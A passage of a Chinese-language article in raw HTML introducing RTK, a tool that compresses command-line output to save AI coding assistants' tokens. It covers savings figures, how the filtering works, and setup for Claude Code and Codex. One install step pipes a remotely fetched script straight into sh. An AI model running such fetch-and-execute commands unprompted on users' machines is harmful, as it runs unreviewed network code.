Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cargo test</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pytest</span></code><span leaf="">这类测试命令通常能省90％左右。</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">命令</span></p></th><th style="text-align: right;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">普通输出</span></p></th><th style="text-align: right;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">RTK后</span></p></th><th style="text-align: right;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">节省</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git status</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">3000</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">600</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">80％</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git diff</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">10000</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">2500</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">75％</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cargo test</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">npm test</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">25000</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">2500</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">90％</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pytest</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">8000</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">800</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: right;"><p><span leaf="">90％</span></p></td></tr></tbody></table><p data-line="21" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">所以题目里说“省一半”其实已经很保守了。对测试、构建、日志这类高噪音命令来说，很多时候不止一半。下图是官方给的完整对比</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001455" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a40cffaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeT8GTnIQ4KjmlV9iaUxIqWEiciacvTKcXXT8ybzPXoZULKNL1Sql5TGdSMMja9EomZTQ1AYjbl3vFO7MAr6aozHKVXYiaxKO4xMr7Lg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-line="23" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它是怎么做到的</span></h2><p data-line="25" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">RTK的思路非常朴素：不改你的项目，不碰你的模型，只处理命令行输出。</span></p><p data-line="27" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">按官方文档，它主要做四件事：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">智能过滤。去掉注释、空白、样板提示、进度条这类噪音。</span></p></li><li style=""><p><span leaf="">分组整理。把相似结果按目录、文件或错误类型折叠起来。</span></p></li><li style=""><p><span leaf="">截断冗余。保留关键上下文，不把几百行重复信息全塞给AI。</span></p></li><li style=""><p><span leaf="">去重合并。重复日志不再逐行输出，而是变成“某类信息重复了多少次”。</span></p></li></ol><p data-line="34" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">举个最直观的例子。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cargo test</span></code><span leaf="">正常输出里，最占token的常常不是失败信息，而是一大堆“通过了什么”。RTK会优先把失败、错误、警告留下来，把那些对下一步决策帮助不大的内容压缩掉。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git status</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git log</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">docker logs</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kubectl logs</span></code><span leaf="">也是同一类问题。</span></p><h2 data-line="36" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">怎么装，怎么接进AI工具里</span></h2><p data-line="38" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">安装方式有三种，最省事的是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="40" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">brew install rtk</span></code></pre><p data-line="44" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">或者：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="46" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">curl -fsSL <a href="https://raw.githubusercontent.com/rtk-ai/rtk/master/install.sh" target="_blank">https://raw.githubusercontent.com/rtk-ai/rtk/master/install.sh</a> | sh</span></code></pre><p data-line="50" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果你习惯用Cargo安装，官方更推荐这一条：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="52" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">cargo install --git <a href="https://github.com/rtk-ai/rtk" target="_blank">https://github.com/rtk-ai/rtk</a></span></code></pre><p data-line="56" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这里要注意一个小坑：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">crates.io</span></code><span leaf="">上还有另一个同名的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rtk</span></code><span leaf="">项目。装完之后最好马上跑一下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="58" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">rtk --version</span><br/><span leaf="">rtk gain</span></code></pre><p data-line="63" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">只要</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rtk gain</span></code><span leaf="">能正常显示token节省统计，说明你装对了。</span></p><p data-line="65" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">接入方式也挺简单，但不同AI工具略有区别。</span></p><p data-line="67" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果你用的是Claude Code，推荐直接执行：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="69" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">rtk init -g</span></code></pre><p data-line="73" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它会给Claude Code装上Hook，让像</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">git status</span></code><span leaf="">这样的shell命令在执行前透明改写成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rtk git status</span></code><span leaf="">。你的使用习惯基本不用变。</span></p><p data-line="75" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果你用的是Codex，对应命令是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="77" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">rtk init -g --codex</span></code></pre><p data-line="81" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这个模式不会像Claude Code那样走Hook，而是把规则写到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">~/.codex/RTK.md</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">~/.codex/AGENTS.md</span></code><span leaf="">里，让Codex在执行shell命令时优先使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rtk</span></code><span leaf="">。</span></p><p data-line="83" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">除了Claude Code和Codex，RTK现在还支持Cursor、GitHub Copilot、Gemini CLI、Windsurf、Cline／Roo Code、OpenCode、OpenClaw等工具。官方README里列的是10款已支持的AI编程工具。</span></p><h2 data-line="85" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 